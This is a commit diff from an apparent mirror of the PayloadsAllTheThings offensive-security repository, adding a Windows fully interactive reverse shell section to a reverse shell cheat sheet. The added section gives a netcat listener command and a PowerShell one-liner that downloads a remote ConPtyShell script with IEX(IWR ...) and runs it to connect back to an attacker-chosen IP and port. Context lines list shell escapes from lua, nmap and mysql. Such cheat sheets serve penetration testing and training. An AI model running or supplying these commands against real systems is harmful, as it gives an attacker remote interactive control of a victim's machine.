mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-20 19:36:11 +00:00
Update Reverse Shell Cheatsheet.md
This commit is contained in:
parent
fb76fdc331
commit
50a376337d
@ -355,6 +355,26 @@ lua: os.execute('/bin/sh')
|
|||||||
- nmap: `!sh`
|
- nmap: `!sh`
|
||||||
- mysql: `! bash`
|
- mysql: `! bash`
|
||||||
|
|
||||||
|
## Fully interactive reverse shell on Windows
|
||||||
|
The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.
|
||||||
|
|
||||||
|
**ConPtyShell uses the function [CreatePseudoConsole()](https://docs.microsoft.com/en-us/windows/console/createpseudoconsole). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).**
|
||||||
|
|
||||||
|
|
||||||
|
Server Side:
|
||||||
|
|
||||||
|
```
|
||||||
|
stty raw -echo; (stty size; cat) | nc -lvnp 3001
|
||||||
|
```
|
||||||
|
|
||||||
|
Client Side:
|
||||||
|
|
||||||
|
```
|
||||||
|
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001
|
||||||
|
```
|
||||||
|
|
||||||
|
Offline version of the ps1 available at --> https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [Reverse Bash Shell One Liner](https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner)
|
* [Reverse Bash Shell One Liner](https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner)
|
||||||
|
Loading…
Reference in New Issue
Block a user